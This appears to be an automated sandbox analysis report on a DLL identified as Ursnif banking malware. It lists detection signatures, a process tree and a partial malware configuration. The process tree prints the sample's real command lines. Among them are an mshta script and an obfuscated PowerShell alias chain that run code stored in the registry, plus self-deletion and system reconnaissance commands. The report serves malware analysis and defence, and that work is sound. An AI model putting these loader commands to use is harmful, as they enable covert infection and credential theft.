Joe Sandbox Cloud Basic Analysis Report

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Windows Analysis Report
2oCOO5LbPu.dll

Overview

General Information

Sample Name:2oCOO5LbPu.dll
Analysis ID:620323
MD5:1217ff59e80cdae525287f2c6e9a43c6
SHA1:71760323e2c6528c2d346d85c9a138edcea984aa
SHA256:315b13c6d80997dd76a01c15b78651d7a1cb54f8432fc25ad95c8573ba4b52d6
Tags:dllgeoGoziISFBITAUrsnif
Infos:

Detection

Ursnif
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Snort IDS alert for network traffic
Found malware configuration
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Tries to steal Mail credentials (via file / registry access)
Hooks registry keys query functions (used to hide registry keys)
Maps a DLL or memory area into another process
Uses nslookup.exe to query domains
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Machine Learning detection for sample
Allocates memory in foreign processes
May check the online IP address of the machine
Self deletion via cmd delete
Creates a thread in another existing process (thread injection)
Disables SPDY (HTTP compression, likely to perform web injects)
Modifies the export address table of user mode modules (user mode EAT hooks)
Writes registry values via WMI
Tries to harvest and steal browser information (history, passwords, etc)
Writes to foreign memory regions
Changes memory attributes in foreign processes to executable or writable
Uses ping.exe to check the status of other devices and networks
Modifies the prolog of user mode functions (user mode inline hooks)
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Modifies the context of a thread in another process (thread injection)
Modifies the import address table of user mode modules (user mode IAT hooks)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to dynamically determine API calls
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Checks if the current process is being debugged
Compiles C# or VB.Net code
Creates a process in suspended mode (likely to inject code)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Yara signature match
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Contains functionality to query CPU information (cpuid)
Contains functionality to call native functions
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Enables debug privileges
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Uses Microsoft's Enhanced Cryptographic Provider

Classification

Process Tree

  • System is w10x64
  • loaddll32.exe (PID: 3708 cmdline: loaddll32.exe "C:\Users\user\Desktop\2oCOO5LbPu.dll" MD5: 7DEB5DB86C0AC789123DEC286286B938)
    • cmd.exe (PID: 4640 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\2oCOO5LbPu.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
      • rundll32.exe (PID: 2284 cmdline: rundll32.exe "C:\Users\user\Desktop\2oCOO5LbPu.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)
        • control.exe (PID: 7000 cmdline: C:\Windows\system32\control.exe -h MD5: 625DAC87CB5D7D44C5CA1DA57898065F)
          • explorer.exe (PID: 3616 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)
            • cmd.exe (PID: 4040 cmdline: C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\user\Desktop\2oCOO5LbPu.dll MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
              • conhost.exe (PID: 3688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
              • PING.EXE (PID: 3088 cmdline: ping localhost -n 5 MD5: 6A7389ECE70FB97BFE9A570DB4ACCC3B)
            • RuntimeBroker.exe (PID: 4440 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
            • cmd.exe (PID: 5016 cmdline: cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\user\AppData\Local\Temp\1E0C.bi1" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
              • conhost.exe (PID: 4948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
              • nslookup.exe (PID: 5996 cmdline: nslookup myip.opendns.com resolver1.opendns.com MD5: AF1787F1DBE0053D74FC687E7233F8CE)
            • cmd.exe (PID: 3248 cmdline: cmd /C "echo -------- >> C:\Users\user\AppData\Local\Temp\1E0C.bi1" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
              • conhost.exe (PID: 3104 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
            • RuntimeBroker.exe (PID: 4724 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
            • cmd.exe (PID: 5472 cmdline: cmd /C "systeminfo.exe > C:\Users\user\AppData\Local\Temp\2E09.bin1" MD5: 4E2ACF4F8A396486AB4268C94A6A245F)
              • conhost.exe (PID: 1008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
            • RuntimeBroker.exe (PID: 4960 cmdline: C:\Windows\System32\RuntimeBroker.exe -Embedding MD5: C7E36B4A5D9E6AC600DD7A0E0D52DAC5)
          • rundll32.exe (PID: 5180 cmdline: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h MD5: 73C519F050C20580F8A62C849D49215A)
  • mshta.exe (PID: 6576 cmdline: C:\Windows\System32\mshta.exe" "about:<hta:application><script>Cq7h='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Cq7h).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script> MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
    • powershell.exe (PID: 6680 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name jasvusrvks -value gp; new-alias -name ssmthn -value iex; ssmthn ([System.Text.Encoding]::ASCII.GetString((jasvusrvks "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)
      • conhost.exe (PID: 6688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • csc.exe (PID: 6932 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ykprd3xj\ykprd3xj.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 6972 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3A11.tmp" "c:\Users\user\AppData\Local\Temp\ykprd3xj\CSC234B0D107E494378839C776CED666FC7.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
      • csc.exe (PID: 7008 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\dyznokx3\dyznokx3.cmdline MD5: B46100977911A0C9FB1C3E5F16A5017D)
        • cvtres.exe (PID: 7024 cmdline: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES5431.tmp" "c:\Users\user\AppData\Local\Temp\dyznokx3\CSCF033825E263E4DFC98584E77F08A80E9.TMP" MD5: 33BB8BE0B4F547324D93D5D2725CAC3D)
  • cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "WDHdIpDR32hiBF82vKyfbd4Aeqb2endsG7KPr9+PRwpFwh6xHOPeXmivTfHV1J5O9BbOekXP+fpLTlNw78j8NdT4sNAaVFSXIxeuXWdoUw6r5lOTidqS1cBNYe3P3AFASRESMg14/OvBfHcw2QScm4OJeiHSYe26nzRyCo9Bsx0twNSvxA9Ev6ecU3aTGDNOX6EO6pfJFTv3oxkLljtitiqLzJjGUeio8ebUBdVSKBHjVo6